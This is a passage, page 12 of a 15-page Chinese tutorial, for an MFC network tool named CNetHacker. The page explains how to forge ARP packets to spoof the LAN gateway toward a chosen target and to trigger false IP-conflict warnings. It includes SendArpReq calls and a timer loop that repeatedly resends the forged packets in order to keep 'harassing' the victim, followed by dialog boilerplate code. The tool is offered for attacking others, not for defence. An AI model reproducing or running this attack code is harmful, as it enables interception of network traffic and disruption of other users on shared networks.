下面我们来介绍"ARP欺骗"和"报告IP冲突"的实现方法。ARP欺骗很简单,发送一个ARP报文,目的IP为攻击目标,源IP为局域网网关,源MAC地址瞎弄一个或弄成自己的即可:
SendArpReq(gateIp, desIp,mmac);
"报告IP冲突"的实现方法是,发送一个ARP报文,源IP为攻击目标,目的IP瞎弄一个,MAC地址也瞎弄一个:
SendArpReq(desIp, 2,mac);
为了不断的骚扰对方,我们可以弄个定时器,在OnTimer()的时候就给需要欺骗的目标整一个伪造报文:
void CNetHackerDlg::OnTimer(UINT nIDEvent) { //… for (int i = 0; i < currentHstIndex; i++) { if (hostList[i].arpCheat == 1) { SendArpReq(gateIp, desIp, mmac); } if (hostList[i].ipConflict == 1) { SendArpReq(desIp, 2, mac); } } }
最后,因为对话框程序的回车键会产生与按下OK按钮同样的效果,即对话框程序会关闭,而我们的上述程序不需要OK按钮,因此,可以直接覆盖OnOk()函数,相关代码为:
class CNetHackerDlg: public CDialog { //... // Generated message map functions //{{AFX_MSG(CNetHackerDlg) virtual BOOL OnInitDialog(); afx_msg void OnSysCommand(UINT nID, LPARAM lParam); afx_msg void OnPaint(); afx_msg HCURSOR OnQueryDragIcon(); afx_msg void OnStartstopButton(); afx_msg void OnTimer(UINT nIDEvent); afx_msg void OnRecvPkt(); afx_msg void OnOk(); //OK按钮处理函数 //}}AFX_MSG //... };
BEGIN_MESSAGE_MAP(CNetHackerDlg, CDialog) //{{AFX_MSG_MAP(CNetHackerDlg) ON_WM_SYSCOMMAND() ON_WM_PAINT() ON_WM_QUERYDRAGICON() ON_BN_CLICKED(IDC_STARTSTOP_BUTTON, OnStartstopButton) ON_BN_CLICKED(IDOK,OnOk) //OK按钮消息影射 ON_WM_TIMER() ON_MESSAGE(RECV_PKT, OnRecvPkt) //}}AFX_MSG_MAP END_MESSAGE_MAP()
void CNetHackerDlg::OnOk() { CAboutDlg dlg; dlg.DoModal(); }
共15页: 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] 12 [13] [14] [15] 下一页
|